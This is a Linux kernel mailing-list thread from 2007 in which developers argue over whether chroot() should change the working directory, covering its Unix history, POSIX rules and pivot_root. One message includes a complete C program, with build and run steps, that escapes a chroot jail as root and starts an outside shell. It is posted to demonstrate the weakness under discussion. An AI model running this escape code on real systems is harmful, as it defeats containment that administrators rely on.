Cc: Christer Weinigel, Al Viro, Phillip Susi, Bill Davidsen, majkls,
linux-kernel
Adrian Bunk wrote:
> You are claiming "They went so far as to say that dot-dot wouldn't let
> you out"?
>
I phrased it in a somewhat conversational way. The promise, which I've
now quoted from multiple sources, is expressed variously, including:
> The dot-dot entry in the root directory is interpreted to mean the root directory itself. Thus, dot-dot cannot be used to access files outside the subtree rooted at the root directory.
>
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 23:35 ` David Newall
@ 2007-09-27 0:01 ` Adrian Bunk
2007-09-27 3:59 ` Al Viro
2007-09-27 6:42 ` David Newall
0 siblings, 2 replies; 50+ messages in thread
From: Adrian Bunk @ 2007-09-27 0:01 UTC (permalink / raw)
To: David Newall
Cc: Christer Weinigel, Al Viro, Phillip Susi, Bill Davidsen, majkls,
linux-kernel
On Thu, Sep 27, 2007 at 09:05:33AM +0930, David Newall wrote:
> Adrian Bunk wrote:
>> You are claiming "They went so far as to say that dot-dot wouldn't let you
>> out"?
>>
>
> I phrased it in a somewhat conversational way. The promise, which I've now
> quoted from multiple sources, is expressed variously, including:
>> The dot-dot entry in the root directory is interpreted to mean the root
>> directory itself. Thus, dot-dot cannot be used to access files outside the
>> subtree rooted at the root directory.
You claimed:
<-- snip -->
Look, when chroot was being designed, I think they intended that even root
should be unable to get out. They went so far as to say that dot-dot
wouldn't let you out; and it doesn't.
<-- snip -->
You were clearly saying that whom you call "they" were the people who
designed chroot. And it was you who was claiming in this statement that
"they" said it.
The OpenBSD manpage you quoted in this thread states chroot() was added
in 4.2BSD, and 4.2BSD was released in 1983.
You should therefore either bring a source where the people who designed
chroot() in 1983 or earlier are stating what you claim they said or
admit that you were talking utter bullshit.
cu
Adrian
--
"Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
"Only a promise," Lao Er said.
Pearl S. Buck - Dragon Seed
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-27 0:01 ` Adrian Bunk
@ 2007-09-27 3:59 ` Al Viro
2007-09-27 6:42 ` David Newall
1 sibling, 0 replies; 50+ messages in thread
From: Al Viro @ 2007-09-27 3:59 UTC (permalink / raw)
To: Adrian Bunk
Cc: David Newall, Christer Weinigel, Phillip Susi, Bill Davidsen,
majkls, linux-kernel
On Thu, Sep 27, 2007 at 02:01:37AM +0200, Adrian Bunk wrote:
> <-- snip -->
>
> Look, when chroot was being designed, I think they intended that even root
> should be unable to get out. They went so far as to say that dot-dot
> wouldn't let you out; and it doesn't.
>
> <-- snip -->
>
> You were clearly saying that whom you call "they" were the people who
> designed chroot. And it was you who was claiming in this statement that
> "they" said it.
>
> The OpenBSD manpage you quoted in this thread states chroot() was added
> in 4.2BSD, and 4.2BSD was released in 1983.
>
> You should therefore either bring a source where the people who designed
> chroot() in 1983 or earlier are stating what you claim they said or
> admit that you were talking utter bullshit.
chroot() is present in v7, thank you very much. /usr/sys/sys/sys4.c has
chdir()
{
chdirec(&u.u_cdir);
}
chroot()
{
if (suser())
chdirec(&u.u_rdir);
}
and back then it didn't stop lookups by .. at all - u_rdir is only used
in the beginning of namei() (when pathname starts with /), plus the obvious
refcounting in exit()/newproc(). So give me a break - back when it had
been introduced, it didn't do anything jail-like _at_ _all_.
That check appears only in BSD:
@@ -1,4 +1,4 @@
-/* vfs_lookup.c 4.4 03/06/81 */
+/* vfs_lookup.c 4.5 81/03/09 */
#include "../h/param.h"
#include "../h/systm.h"
@@ -107,6 +107,9 @@
u.u_segflg = 1;
eo = 0;
bp = NULL;
+ if (dp == u.u_rdir && u.u_dent.d_name[0] == '.' &&
+ u.u_dent.d_name[1] == '.' && u.u_dent.d_name[2] == 0)
+ goto cloop;
eloop:
with spectaculary lousy commit message ("lint and a minor fixed") by
wnj. Feel free to ask Bill Joy WTF he had intended. At a guess,
more consistent behaviour in chrooted environment (i.e. pathname
resolution looking as if the subtree had been everything).
To talk about root-safety of _anything_ at that point is bloody ridiculous.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-27 0:01 ` Adrian Bunk
2007-09-27 3:59 ` Al Viro
@ 2007-09-27 6:42 ` David Newall
2007-09-27 6:53 ` Adrian Bunk
1 sibling, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-27 6:42 UTC (permalink / raw)
To: Adrian Bunk
Cc: Christer Weinigel, Al Viro, Phillip Susi, Bill Davidsen, majkls,
linux-kernel
Adrian Bunk wrote:
> You claimed:
>
> <-- snip -->
>
> Look, when chroot was being designed, I think they intended that even root
> should be unable to get out. They went so far as to say that dot-dot
> wouldn't let you out; and it doesn't.
>
> <-- snip -->
>
> You were clearly saying that whom you call "they" were the people who
> designed chroot. And it was you who was claiming in this statement that
> "they" said it.
You've ignored the operative phrase, "I think".
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-27 6:42 ` David Newall
@ 2007-09-27 6:53 ` Adrian Bunk
0 siblings, 0 replies; 50+ messages in thread
From: Adrian Bunk @ 2007-09-27 6:53 UTC (permalink / raw)
To: David Newall
Cc: Christer Weinigel, Al Viro, Phillip Susi, Bill Davidsen, majkls,
linux-kernel
On Thu, Sep 27, 2007 at 04:12:53PM +0930, David Newall wrote:
> Adrian Bunk wrote:
>> You claimed:
>>
>> <-- snip -->
>>
>> Look, when chroot was being designed, I think they intended that even root
>> should be unable to get out. They went so far as to say that dot-dot
>> wouldn't let you out; and it doesn't.
>>
>> <-- snip -->
>>
>> You were clearly saying that whom you call "they" were the people who
>> designed chroot. And it was you who was claiming in this statement that
>> "they" said it.
>
> You've ignored the operative phrase, "I think".
So you start a paragraph with "Look, when chroot was being designed" and
all the contents of this paragraph only comes from your imagination and
contradicts the facts...
cu
Adrian
--
"Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
"Only a promise," Lao Er said.
Pearl S. Buck - Dragon Seed
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 21:19 ` David Newall
2007-09-26 21:55 ` Adrian Bunk
@ 2007-09-27 7:28 ` Christer Weinigel
2007-09-27 11:23 ` Theodore Tso
1 sibling, 1 reply; 50+ messages in thread
From: Christer Weinigel @ 2007-09-27 7:28 UTC (permalink / raw)
To: David Newall
Cc: Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
On Thu, 27 Sep 2007 06:49:28 +0930
David Newall <david@davidnewall.com> wrote:
> For sure, "a root user can get out of a chroot a million different
> ways." Young Alan said as much at the beginning of this
> conversation, and I have always agreed. I don't hope to secure Linux
> within chroot, simply to fix chroot so that it does what it says it
> does.
> The problem is leaving cwd unchanged. Once you've set cwd within the
> new root, dot-dot is promised to keep you within that root; and so it
> does. But by leaving cwd unchanged, if you do a subsequent chroot,
> that promise is suddenly broken. I think this is a bug. I think
> that behavior was not intended. Not all agree with me, but obviously
> a lot do, otherwise OpenBSD and others wouldn't have addressed this
> exact issue. Here's what they do:
So keep reading the links I gave you:
http://www.unixwiz.net/techtips/chroot-practices.html
The chroot call itself does not change the working directory, so
if the new root is below the current directory, the application
can still have access outside resources.
http://www.bpfh.net/simes/computing/chroot-break.html
chdir("/foo/bar");
chroot("/foo/bar");
Note the use of the chdir() call before the chroot() call. This is
to ensure that the working directory of the process is within the
chroot()ed area before the chroot() call takes place. This is due
to most implementations of chroot() not changing the working
directory of the process to within the directory the process is
now chroot()ed in.
http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/
The chroot() call itself will only change the root file system in
the process' context. A chroot() call must be followed by a
chdir("/") call in order to reset the current working directory.
So the OpenBSD man page seems to be in the minority here. Any portable
code can not assume that CWD changes. And changing the Linux behaviour
now would be a rather big change which might break userspace. And yes,
there are applications that rely on this, I've used it when building
software for cross compiling.
/Christer
On Thu, 27 Sep 2007 06:49:28 +0930
David Newall <david@davidnewall.com> wrote:
> Christer Weinigel wrote:
> > *spends five minutes with Google*
> >
> > From the OpenBSD FAQ (an operating system most know for being
> > really, really focused on security):
> >
> > http://www.openbsd.org/faq/faq10.html
> >
> > Any application which has to assume root privileges to operate
> > is pointless to attempt to chroot(2), as root can generally escape a
> > chroot(2).
> >
>
> For sure, "a root user can get out of a chroot a million different
> ways." Young Alan said as much at the beginning of this
> conversation, and I have always agreed. I don't hope to secure Linux
> within chroot, simply to fix chroot so that it does what it says it
> does.
>
> Look, when chroot was being designed, I think they intended that even
> root should be unable to get out. They went so far as to say that
> dot-dot wouldn't let you out; and it doesn't. It's not dot-dot
> that's the problem. Even fchdir is no problem, because you choose
> which file descriptors to leave open. Fchdir is actually one of the
> answers. ("What if we need a way to escape?")
>
> The problem is leaving cwd unchanged. Once you've set cwd within the
> new root, dot-dot is promised to keep you within that root; and so it
> does. But by leaving cwd unchanged, if you do a subsequent chroot,
> that promise is suddenly broken. I think this is a bug. I think
> that behavior was not intended. Not all agree with me, but obviously
> a lot do, otherwise OpenBSD and others wouldn't have addressed this
> exact issue. Here's what they do:
>
> "If the program is already running with an altered root directory,
> the process's current directory is changed to the same new root
> directory. This prevents the current directory from being further
> up the directory tree than the altered root directory."
> -- OpenBSD man 2 chroot
>
>
> This was no more than an attempt to fix a long-standing bug.
>
> As stated, opinion is divided as to whether this is a bug. I think
> it is, and many people agree, for example some of the BSDs and
> probably others; some people don't. Young Alan, for example, ummm,
> strongly (is a good word) disagrees. I don't see that it calls for
> nastiness or emotion, and although opinion on this august list is
> divided, apparently the nays are in the majority. We should leave it
> at that.
>
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-27 7:28 ` Christer Weinigel
@ 2007-09-27 11:23 ` Theodore Tso
2007-09-27 14:36 ` Bill Davidsen
0 siblings, 1 reply; 50+ messages in thread
From: Theodore Tso @ 2007-09-27 11:23 UTC (permalink / raw)
To: Christer Weinigel
Cc: David Newall, Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk,
linux-kernel
On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote:
> So the OpenBSD man page seems to be in the minority here. Any portable
> code can not assume that CWD changes. And changing the Linux behaviour
> now would be a rather big change which might break userspace. And yes,
> there are applications that rely on this, I've used it when building
> software for cross compiling.
Changing Linux behavior would violate the POSIX and SuSV2
specifications; the standards explicitly state that the working
directory will NOT change. And standards adherance is important; we
break them only if we have a d*mn good reason. And trying to make
chroot() something which it is not (i.e., a secure jail) is certainly
not a good enough reason.
Can we please end this thread now? And can we put in a Kernel FAQ
saying that this is not something which is NOT up for discussion?
- Ted
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-27 11:23 ` Theodore Tso
@ 2007-09-27 14:36 ` Bill Davidsen
2007-09-28 1:06 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Bill Davidsen @ 2007-09-27 14:36 UTC (permalink / raw)
To: Theodore Tso, Christer Weinigel, David Newall, Al Viro,
Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
Theodore Tso wrote:
> On Thu, Sep 27, 2007 at 09:28:08AM +0200, Christer Weinigel wrote:
>
>> So the OpenBSD man page seems to be in the minority here. Any portable
>> code can not assume that CWD changes. And changing the Linux behaviour
>> now would be a rather big change which might break userspace. And yes,
>> there are applications that rely on this, I've used it when building
>> software for cross compiling.
>>
>
> Changing Linux behavior would violate the POSIX and SuSV2
> specifications; the standards explicitly state that the working
> directory will NOT change. And standards adherance is important; we
> break them only if we have a d*mn good reason. And trying to make
> chroot() something which it is not (i.e., a secure jail) is certainly
> not a good enough reason.
>
> Can we please end this thread now? And can we put in a Kernel FAQ
> saying that this is not something which is NOT up for discussion?
>
It seems there are (at least) two parts to this, one regarding changing
working directory which is clearly stated in the standards and must work
as it does, and the various issues regarding getting out of the chroot
after the cwd has entered that changed root. That second part seems to
offer room for additional controls on getting out of the chroot which do
not violate any of the obvious standards, and which therefore might be
valid candidates for discussion on the basis of benefit rather than
portability.
--
bill davidsen <davidsen@tmr.com>
CTO TMR Associates, Inc
Doing interesting things with small computers since 1979
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-27 14:36 ` Bill Davidsen
@ 2007-09-28 1:06 ` David Newall
0 siblings, 0 replies; 50+ messages in thread
From: David Newall @ 2007-09-28 1:06 UTC (permalink / raw)
To: Bill Davidsen
Cc: Theodore Tso, Christer Weinigel, Al Viro, Phillip Susi, majkls,
bunk, linux-kernel
Bill Davidsen wrote:
> It seems there are (at least) two parts to this, one regarding
> changing working directory which is clearly stated in the standards
> and must work as it does, and the various issues regarding getting out
> of the chroot after the cwd has entered that changed root. That second
> part seems to offer room for additional controls on getting out of the
> chroot which do not violate any of the obvious standards, and which
> therefore might be valid candidates for discussion on the basis of
> benefit rather than portability.
Correct. BSDs solved the problem by changing cwd on subsequent use of
chroot; I think there's a better way. I think the solution might be to
add a "previous root", and restrict the process there as well as the new
root. That is, once cwd is set within the new root, that new root is
the limit. Prior to setting cwd within the new root, the previous root
is the limit.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
[not found] ` <97sX2-p1-3@gated-at.bofh.it>
@ 2007-09-26 9:38 ` Nick Craig-Wood
0 siblings, 0 replies; 50+ messages in thread
From: Nick Craig-Wood @ 2007-09-26 9:38 UTC (permalink / raw)
To: linux-kernel; +Cc: Al Viro
Al Viro <viro@ftp.linux.org.uk> wrote:
> If you are within chroot jail and capable of chroot(), you can chdir to
> its root, then chroot() to subdirectory and you've got cwd outside of
> your new root. After that you can chdir all way out to original
> root.
Here is some code I wrote a while back to demonstrate that escape
method.
/*
* Break a chroot
*
* Compile this with
*
* gcc -static -Wall break-chroot.c -o break-chroot
*
* Get a root shell in the chrooted environment and run
*
* ./break-chroot
*
* Nick Craig-Wood <nick@craig-wood.com>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <error.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#define SHELL "bin/sh" /* no leading / */
int main(void)
{
struct stat buf;
if (chdir("/"))
perror("chdir /"), exit(1);
printf("Making escape tunnel\n");
mkdir("/tmp", 01777);
mkdir("/tmp/escape-tunnel", 0755);
printf("Doing escape chroot leaving cwd behind\n");
if (chroot("/tmp/escape-tunnel"))
perror("chroot /tmp/escape-tunnel"), exit(1);
printf("Exploit cwd being above the root and find a " SHELL " to run\n");
do {
printf("Going up...\n");
if (chdir("../"))
perror("chdir ../"), exit(1);
} while (stat(SHELL, &buf) != 0);
printf("Chrooting back into the root directory\n");
if (chroot("."))
perror("chroot ."), exit(1);
printf("If this doesn't error you are out of chroot!\n");
if (execl(SHELL, SHELL, 0))
perror("exec " SHELL), exit(1);
printf("Something wicked happened!\n");
return 1;
}
--
Nick Craig-Wood <nick@craig-wood.com> -- http://www.craig-wood.com/nick
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-25 11:49 ` Serge E. Hallyn
@ 2007-09-25 13:58 ` David Newall
0 siblings, 0 replies; 50+ messages in thread
From: David Newall @ 2007-09-25 13:58 UTC (permalink / raw)
To: Serge E. Hallyn
Cc: Bill Davidsen, Philipp Marek, 7eggert, Alan Cox, majkls, bunk,
linux-kernel
Serge E. Hallyn wrote:
> Quoting David Newall (david@davidnewall.com):
>
>> Serge E. Hallyn wrote:
>>
>>> Quoting David Newall (david@davidnewall.com):
>>>
>>>
>>>> It might be tidy if pivot_root could be used (instead of a hack based on
>>>> a chroot bug), but it'd still be unportable.
>>>>
>>>>
>>> It can.
>>>
>>> Please re-read my previous msg.
>>>
>> I read it. Currently pivot_root can't be used to affect a single process.
>>
>
> No. If you unshare your mounts namespace immediately before pivot_root,
> then pivot_root will only affect that single process.
>
Bugger. You're right, I didn't read your previous message; I thought I
had but I was wrong.
>> unshare(CLONE_NEWNS);
>> chdir(new_dir);
>> pivot_root(new_dir, oldroot);
After further RTFMing, and assuming "any processes or threads which
use the old root directory" means what you imply, and surely it does,
then I agree: pivot_root already does the job. Does anybody still need
to use a bug in chroot?
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-25 7:45 ` David Newall
@ 2007-09-25 11:49 ` Serge E. Hallyn
2007-09-25 13:58 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Serge E. Hallyn @ 2007-09-25 11:49 UTC (permalink / raw)
To: David Newall
Cc: Serge E. Hallyn, Bill Davidsen, Philipp Marek, 7eggert, Alan Cox,
majkls, bunk, linux-kernel
Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> Quoting David Newall (david@davidnewall.com):
>>
>>> It might be tidy if pivot_root could be used (instead of a hack based on
>>> a chroot bug), but it'd still be unportable.
>>>
>>
>> It can.
>>
>> Please re-read my previous msg.
>
> I read it. Currently pivot_root can't be used to affect a single process.
No. If you unshare your mounts namespace immediately before pivot_root,
then pivot_root will only affect that single process.
> It can be modified; obviously. Maybe it should be, too, but is there a
> need for that?
-serge
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-24 23:00 ` Serge E. Hallyn
@ 2007-09-25 7:45 ` David Newall
2007-09-25 11:49 ` Serge E. Hallyn
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-25 7:45 UTC (permalink / raw)
To: Serge E. Hallyn
Cc: Bill Davidsen, Philipp Marek, 7eggert, Alan Cox, majkls, bunk,
linux-kernel
Serge E. Hallyn wrote:
> Quoting David Newall (david@davidnewall.com):
>
>> It might be tidy if pivot_root could be used (instead of a hack based on a
>> chroot bug), but it'd still be unportable.
>>
>
> It can.
>
> Please re-read my previous msg.
I read it. Currently pivot_root can't be used to affect a single
process. It can be modified; obviously. Maybe it should be, too, but
is there a need for that?
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-24 22:04 ` David Newall
2007-09-24 23:00 ` Serge E. Hallyn
@ 2007-09-24 23:02 ` Serge E. Hallyn
1 sibling, 0 replies; 50+ messages in thread
From: Serge E. Hallyn @ 2007-09-24 23:02 UTC (permalink / raw)
To: David Newall
Cc: Serge E. Hallyn, Bill Davidsen, Philipp Marek, 7eggert, Alan Cox,
majkls, bunk, linux-kernel
Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> No reason for any new parameters to pivot_root. Just clone your mounts
>> namespace first.
>>
>> unshare(CLONE_NEWNS);
>> chdir(new_dir);
>> pivot_root(new_dir, oldroot);
>>
>> Since pivot_root actually fiddles with the vfsmnts, this is really the
>> only way to go about having it "work with just one process".
>
> I think the point is that, whereas we'd like to be able to pivot the root
> for a single process, in practice this causes startup issues to which the
> easy solution is to pivot the whole system. At least that's my reading of
> the man page.
>
> It might be tidy if pivot_root could be used (instead of a hack based on a
> chroot bug), but it'd still be unportable.
Oh. Yes, true, it is unportable.
-serge
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-24 22:04 ` David Newall
@ 2007-09-24 23:00 ` Serge E. Hallyn
2007-09-25 7:45 ` David Newall
2007-09-24 23:02 ` Serge E. Hallyn
1 sibling, 1 reply; 50+ messages in thread
From: Serge E. Hallyn @ 2007-09-24 23:00 UTC (permalink / raw)
To: David Newall
Cc: Serge E. Hallyn, Bill Davidsen, Philipp Marek, 7eggert, Alan Cox,
majkls, bunk, linux-kernel
Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> No reason for any new parameters to pivot_root. Just clone your mounts
>> namespace first.
>>
>> unshare(CLONE_NEWNS);
>> chdir(new_dir);
>> pivot_root(new_dir, oldroot);
>>
>> Since pivot_root actually fiddles with the vfsmnts, this is really the
>> only way to go about having it "work with just one process".
>
> I think the point is that, whereas we'd like to be able to pivot the root
> for a single process, in practice this causes startup issues to which the
> easy solution is to pivot the whole system. At least that's my reading of
> the man page.
>
> It might be tidy if pivot_root could be used (instead of a hack based on a
> chroot bug), but it'd still be unportable.
It can.
Please re-read my previous msg.
-serge
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-24 21:32 ` Serge E. Hallyn
@ 2007-09-24 22:04 ` David Newall
2007-09-24 23:00 ` Serge E. Hallyn
2007-09-24 23:02 ` Serge E. Hallyn
0 siblings, 2 replies; 50+ messages in thread
From: David Newall @ 2007-09-24 22:04 UTC (permalink / raw)
To: Serge E. Hallyn
Cc: Bill Davidsen, Philipp Marek, 7eggert, Alan Cox, majkls, bunk,
linux-kernel
Serge E. Hallyn wrote:
> No reason for any new parameters to pivot_root. Just clone your mounts
> namespace first.
>
> unshare(CLONE_NEWNS);
> chdir(new_dir);
> pivot_root(new_dir, oldroot);
>
> Since pivot_root actually fiddles with the vfsmnts, this is really the
> only way to go about having it "work with just one process".
I think the point is that, whereas we'd like to be able to pivot the
root for a single process, in practice this causes startup issues to
which the easy solution is to pivot the whole system. At least that's
my reading of the man page.
It might be tidy if pivot_root could be used (instead of a hack based on
a chroot bug), but it'd still be unportable.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-21 8:29 ` David Newall
@ 2007-09-24 21:32 ` Serge E. Hallyn
2007-09-24 22:04 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Serge E. Hallyn @ 2007-09-24 21:32 UTC (permalink / raw)
To: David Newall
Cc: Bill Davidsen, Philipp Marek, 7eggert, Alan Cox, majkls, bunk,
linux-kernel
Quoting David Newall (david@davidnewall.com):
> Bill Davidsen wrote:
>> there is no question that pivot_root is intended to have breadth for more
>> than one process.
>
> I think it's clear from the man page that the original idea was to be able
> to pivot_root for individual processes. The reason it doesn't do that, the
> reason it affects all processes, is to work around the bootstrap problem,
> where processes that don't care what their root (or current) directory is
> are still using the original root.
>
> An extra parameter could be added to specify which behavior is desired,
> probably defaulting to the current behavior. That would remove the need to
> use a chroot bug.
No reason for any new parameters to pivot_root. Just clone your mounts
namespace first.
unshare(CLONE_NEWNS);
chdir(new_dir);
pivot_root(new_dir, oldroot);
Since pivot_root actually fiddles with the vfsmnts, this is really the
only way to go about having it "work with just one process".
-serge
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-20 20:53 ` Bill Davidsen
@ 2007-09-21 8:29 ` David Newall
2007-09-24 21:32 ` Serge E. Hallyn
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-21 8:29 UTC (permalink / raw)
To: Bill Davidsen
Cc: Philipp Marek, 7eggert, Alan Cox, majkls, bunk, linux-kernel
Bill Davidsen wrote:
> there is no question that pivot_root is intended to have breadth for
> more than one process.
I think it's clear from the man page that the original idea was to be
able to pivot_root for individual processes. The reason it doesn't do
that, the reason it affects all processes, is to work around the
bootstrap problem, where processes that don't care what their root (or
current) directory is are still using the original root.
An extra parameter could be added to specify which behavior is desired,
probably defaulting to the current behavior. That would remove the need
to use a chroot bug.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-20 18:02 ` David Newall
@ 2007-09-20 20:53 ` Bill Davidsen
2007-09-21 8:29 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Bill Davidsen @ 2007-09-20 20:53 UTC (permalink / raw)
To: David Newall; +Cc: Philipp Marek, 7eggert, Alan Cox, majkls, bunk, linux-kernel
David Newall wrote:
> Philipp Marek wrote:
>> AFAIK pivot_root() changes the / mapping for *all* processes, no?
>>
>
> The manual page is confusing. It even admits to being "intentionally
> vague". However the goal seems clear:
>
> "pivot_root() moves the root file system of the current process to
> the directory put_old and makes new_root the new root file system of
> the current process"
> -- man 2 pivot_root
>
> There's an argument that pivot_root could be improved...
>
And very little argument that the man page could be improved, perhaps.
However, there is no question that pivot_root is intended to have
breadth for more than one process.
Keeping this functionality sounds a little like putting a bow tie and
tux on your bug and calling it a "feature." Not all bugs are useless for
legitimate purposes, but it doesn't make them safe. It appears to be a
sort-of way to get per-process bind mounts.
--
bill davidsen <davidsen@tmr.com>
CTO TMR Associates, Inc
Doing interesting things with small computers since 1979
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-20 16:17 ` Philipp Marek
@ 2007-09-20 18:02 ` David Newall
2007-09-20 20:53 ` Bill Davidsen
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-20 18:02 UTC (permalink / raw)
To: Philipp Marek
Cc: 7eggert, Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
Philipp Marek wrote:
> AFAIK pivot_root() changes the / mapping for *all* processes, no?
>
The manual page is confusing. It even admits to being "intentionally
vague". However the goal seems clear:
"pivot_root() moves the root file system of the current process to
the directory put_old and makes new_root the new root file system of
the current process"
-- man 2 pivot_root
There's an argument that pivot_root could be improved...
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-20 16:06 ` David Newall
@ 2007-09-20 16:17 ` Philipp Marek
2007-09-20 18:02 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Philipp Marek @ 2007-09-20 16:17 UTC (permalink / raw)
To: David Newall; +Cc: 7eggert, Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
On Thursday 20 September 2007 David Newall wrote:
> Philipp Marek wrote:
> > - User starts a small wrapper,
> > - that opens "/",
> > - chroot()s into a directory and starts fsvs.
> > - fsvs gets its libraries loaded
> > - and chroot()s back to the original system.
>
> Isn't that what pivot_root was meant for?
AFAIK pivot_root() changes the / mapping for *all* processes, no?
I just wanted to give *this* single process completely new library paths, even
for delay-loaded things (like libnss) ...
Regards,
Phil
--
Versioning your /etc, /home or even your whole installation?
Try fsvs (fsvs.tigris.org)!
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-20 11:59 ` Philipp Marek
2007-09-20 12:52 ` majkls
@ 2007-09-20 16:06 ` David Newall
2007-09-20 16:17 ` Philipp Marek
1 sibling, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-20 16:06 UTC (permalink / raw)
To: Philipp Marek
Cc: 7eggert, Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
Philipp Marek wrote:
> - User starts a small wrapper,
> - that opens "/",
> - chroot()s into a directory and starts fsvs.
> - fsvs gets its libraries loaded
> - and chroot()s back to the original system.
Isn't that what pivot_root was meant for?
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-20 11:59 ` Philipp Marek
@ 2007-09-20 12:52 ` majkls
2007-09-20 16:06 ` David Newall
1 sibling, 0 replies; 50+ messages in thread
From: majkls @ 2007-09-20 12:52 UTC (permalink / raw)
To: Philipp Marek; +Cc: Alan Cox, linux-kernel, david, davidsen, bunk
Philipp Marek napsal(a):
> Please, everybody,
>
> don't change that.
>
> I'm currently using that *feature* (yes, I see it as that) in my
> fsvs-chrooter-utility (see
> http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
> for easier usage of fsvs on older systems.
>
> - User starts a small wrapper,
> - that opens "/",
> - chroot()s into a directory and starts fsvs.
> - fsvs gets its libraries loaded
> - and chroot()s back to the original system.
>
> Voila! fsvs can use the newest available libraries for that architecture,
> without having to change the installed system.
>
>
So I thing this is an example how chroot would not be really used. For
DSO loading there is many better ways to load own DSO. Though is this
feature described in chroot() manpage, I have not noticed that any
serious project uses it. But ok, this is a ferature of chroot(). Also
FreeBSD does not support escaping chroot AFAIK. So this feature is very
badly portable.
Miloslav
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-20 11:13 ` Bodo Eggert
@ 2007-09-20 11:59 ` Philipp Marek
2007-09-20 12:52 ` majkls
2007-09-20 16:06 ` David Newall
0 siblings, 2 replies; 50+ messages in thread
From: Philipp Marek @ 2007-09-20 11:59 UTC (permalink / raw)
To: 7eggert; +Cc: David Newall, Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
Please, everybody,
don't change that.
I'm currently using that *feature* (yes, I see it as that) in my
fsvs-chrooter-utility (see
http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
for easier usage of fsvs on older systems.
- User starts a small wrapper,
- that opens "/",
- chroot()s into a directory and starts fsvs.
- fsvs gets its libraries loaded
- and chroot()s back to the original system.
Voila! fsvs can use the newest available libraries for that architecture,
without having to change the installed system.
Please, keep that feature - as already mentioned, UID 0 is required
anyway, and such processes can get out of (nearly) anything.
Regards,
Phil
--
Versioning your /etc, /home or even your whole installation?
Try fsvs (fsvs.tigris.org)!
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
[not found] ` <95gdA-4OZ-7@gated-at.bofh.it>
@ 2007-09-20 11:13 ` Bodo Eggert
2007-09-20 11:59 ` Philipp Marek
[not found] ` <95UE2-1oR-19@gated-at.bofh.it>
1 sibling, 1 reply; 50+ messages in thread
From: Bodo Eggert @ 2007-09-20 11:13 UTC (permalink / raw)
To: David Newall, Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
David Newall <david@davidnewall.com> wrote:
>> Normal users cannot use chroot() themselves so they can't use chroot to
>> get back out
>
> I think Bill is right, that this is to fix a method that non-root
> processes can use to escape their chroot. The exploit, which is
> documented in chroot(2)*, is to chdir("..") your way out. Who'd have
